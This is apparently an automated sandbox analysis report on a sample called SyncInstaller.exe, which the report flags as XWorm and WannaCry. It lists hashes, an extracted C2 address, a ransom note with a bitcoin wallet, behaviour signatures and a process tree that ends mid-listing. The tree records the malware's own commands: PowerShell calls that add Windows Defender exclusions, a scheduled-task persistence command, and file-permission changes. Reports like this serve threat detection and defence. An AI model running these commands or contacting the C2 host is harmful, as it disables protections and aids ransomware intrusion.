Overview

overview

10

Static

static

10

SyncInstaller.exe

windows10-ltsc_2021-x64

10

SyncInstaller.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    1048s
  • max time network
    1051s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20250410-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250410-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    13/04/2025, 08:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    SyncInstaller.exe

  • Size

    185KB

  • MD5

    78343595ae1da34b4e0309a49c5a0c0d

  • SHA1

    a6bb90fe9ea1bb75dbcb8723c27e18de8af55785

  • SHA256

    456748465f46ca21a2775c5a7edb28c065b58a96d5fe25e4d7ef8828524ecf46

  • SHA512

    d525438101c183c14592199014050580392153637fef82c72fa727aa8d79fc3553b0f4e8950be0ef1488d3006734d16f0947a2f93095f28ad9dec8af6b040435

  • SSDEEP

    3072:lTsabl1E2URxPGFl0bSTTzlONRk/9m2vTBz65/M6If+3Js+3JFkKeTn4:l1nElPjbC0w9lvTxBt25

Score
10/10
wannacryxwormdefense_evasiondiscoveryexecutionimpactpersistenceransomwarerattrojanworm

Malware Config

Extracted

Family

xworm

C2

christian-footwear.gl.at.ply.gg:33312

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Extracted

Path

C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]

Family

wannacry

Ransom Note
Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Signatures

  • Detect Xworm Payload 2 IoCs
  • Wannacry

    WannaCry is a ransomware cryptoworm.

    ransomwarewormwannacry
  • Wannacry family
    wannacry
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 9 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 3 IoCs
    ransomware
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 25 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 34 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 2 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\SyncInstaller.exe
    "C:\Users\Admin\AppData\Local\Temp\SyncInstaller.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Sets desktop wallpaper using registry
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SyncInstaller.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SyncInstaller.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsLocalAgent'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsLocalAgent'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4964
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsLocalAgent" /tr "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2276
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 147.185.221.27 33312 ermwhatthe 99605073372E63A88FC8
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5552
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3088
        • C:\Windows\SysWOW64\explorer.exe
          "C:\Windows\system32\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
          4⤵
            PID:4040
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-3d-apis --disable-gpu --disable-d3d11 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data"
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • Checks processor information in registry
          • Enumerates system info in registry
          • Modifies data under HKEY_USERS
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1640
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x268,0x26c,0x270,0x264,0x28c,0x7ffdaa33f208,0x7ffdaa33f214,0x7ffdaa33f220
            4⤵
              PID:2732
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=1884,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:3
              4⤵
                PID:5708
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2216,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:2
                4⤵
                  PID:5480
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=1904,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=2560 /prefetch:8
                  4⤵
                    PID:6032
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3372,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=3412 /prefetch:1
                    4⤵
                      PID:2312
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --instant-process --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3380,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=3416 /prefetch:1
                      4⤵
                        PID:5404
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=5356,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:8
                        4⤵
                          PID:4192
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=4996,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:8
                          4⤵
                            PID:5220
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=4972,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:8
                            4⤵
                              PID:2276
                            • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=6008,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:8
                              4⤵
                                PID:1308
                              • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=6008,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:8
                                4⤵
                                  PID:1904
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=6304,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:8
                                  4⤵
                                    PID:2148
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=6372,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:8
                                    4⤵
                                      PID:2960
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=6384,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:8
                                      4⤵
                                        PID:3884
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=5700,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=5048 /prefetch:8
                                        4⤵
                                          PID:5328
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=5760,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:8
                                          4⤵
                                            PID:4412
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=5216,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:8
                                            4⤵
                                              PID:4564
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=6448,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6568 /prefetch:8
                                              4⤵
                                                PID:2144
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=800,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6600 /prefetch:8
                                                4⤵
                                                  PID:2776
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=5344,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6300 /prefetch:8
                                                  4⤵
                                                    PID:4312
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=6284,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=3128 /prefetch:8
                                                    4⤵
                                                      PID:5352
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=6288,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=3312 /prefetch:8
                                                      4⤵
                                                        PID:1200
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=4192,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:8
                                                        4⤵
                                                          PID:5876
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=5000,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:8
                                                          4⤵
                                                            PID:5644
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=2636,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:8
                                                            4⤵
                                                              PID:4252
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=6300,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6412 /prefetch:8
                                                              4⤵
                                                                PID:3984
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=6396,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6404 /prefetch:8
                                                                4⤵
                                                                  PID:3428
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=4924,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:8
                                                                  4⤵
                                                                    PID:5488
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --always-read-main-dll --field-trial-handle=5380,i,9578580984534084123,2753932930968100520,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:8
                                                                    4⤵
                                                                      PID:4736
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                1⤵
                                                                  PID:464
                                                                • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                  "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                  1⤵
                                                                  • Executes dropped EXE
                                                                  PID:5680
                                                                • C:\Windows\explorer.exe
                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                  1⤵
                                                                  • Modifies Internet Explorer settings
                                                                  • Modifies registry class
                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:2456
                                                                • C:\Windows\System32\rundll32.exe
                                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
                                                                  1⤵
                                                                    PID:5160
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                    1⤵
                                                                      PID:5152
                                                                    • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                      "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                      1⤵
                                                                      • Executes dropped EXE
                                                                      PID:1344
                                                                    • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                      "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                      1⤵
                                                                      • Executes dropped EXE
                                                                      PID:100
                                                                    • C:\Windows\System32\rundll32.exe
                                                                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                      1⤵
                                                                        PID:3476
                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:5012
                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:3724
                                                                      • C:\Users\Admin\Documents\ohodhi\WannaCry-main\WannaCry.EXE
                                                                        "C:\Users\Admin\Documents\ohodhi\WannaCry-main\WannaCry.EXE"
                                                                        1⤵
                                                                        • Drops startup file
                                                                        • Sets desktop wallpaper using registry
                                                                        PID:5384
                                                                        • C:\Windows\SysWOW64\attrib.exe
                                                                          attrib +h .
                                                                          2⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Views/modifies file attributes
                                                                          PID:2356
                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                          icacls . /grant Everyone:F /T /C /Q
                                                                          2⤵
                                                                          • Modifies file permissions
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:2120
                                                                        • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                          taskdl.exe
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:1172
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c 184721744534639.bat
                                                                          2⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:5776
                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                            cscript.exe //nologo m.vbs
                                                                            3⤵
                                                                              PID:4220
                                                                          • C:\Windows\SysWOW64\attrib.exe
                                                                            attrib +h +s F:\$RECYCLE
                                                                            2⤵
                                                                            • Views/modifies file attributes
                                                                            PID:2432
                                                                          • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                            @[email protected] co
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            PID:4732
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\TaskData\Tor\taskhsvc.exe
                                                                              TaskData\Tor\taskhsvc.exe
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:4484
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd.exe /c start /b @[email protected] vs
                                                                            2⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:1344
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected] vs
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:936
                                                                              • C:\Windows\SysWOW64\cmd.exe
